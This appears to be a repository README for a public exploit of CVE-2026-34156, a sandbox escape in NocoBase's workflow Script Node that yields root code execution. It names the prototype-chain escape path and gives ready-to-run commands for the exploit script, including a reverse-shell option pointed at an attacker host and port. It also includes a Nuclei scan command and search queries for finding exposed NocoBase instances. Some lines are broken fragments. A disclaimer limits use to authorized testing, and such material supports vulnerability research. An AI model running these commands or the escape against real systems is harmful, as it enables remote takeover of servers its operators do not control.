
CVE-2026-34156
Unauthenticated / Low-Privilege → Root Remote Code Execution in NocoBase
CVE-2026-34156 is a critical sandbox escape vulnerability in NocoBase (an open-source no-code/low-code platform).
An attacker with the ability to create or execute a Workflow Script Node (even with low privileges) can escape the Node.js vm sandbox and achieve full Remote Code Execution as root inside the container.
@nocobase/plugin-workflow-javascript (Script Node)console._stdout.constructor.constructoruid=0)fs)The console object passed into the sandbox is from the host realm, allowing attackers to climb the prototype chain and access the real Function constructor → process.mainModule.require.
# Simple command execution
python3 CVE-2026-34156.py -u https://target.com -e [email protected] -p password -c "id"
# Reverse shell
python3 CVE-2026-34156.py -u https://target.com -r 192.168.1.100:4444
Repository includes: Full PoC script, Nuclei template, and safe checker.
nuclei -u https://target -t cves/CVE-2026-34156.yaml
title="NocoBase" || title="Sign in - NocoBase"
title="NocoBase" && body="workflow"
isolated-vm) in production.
This repository is for educational and authorized security research purposes only.
Use only on systems you own or have explicit written permission to test.
Unauthorized exploitation is illegal.
Made with ❤️ for the security community
Stay safe. Patch fast.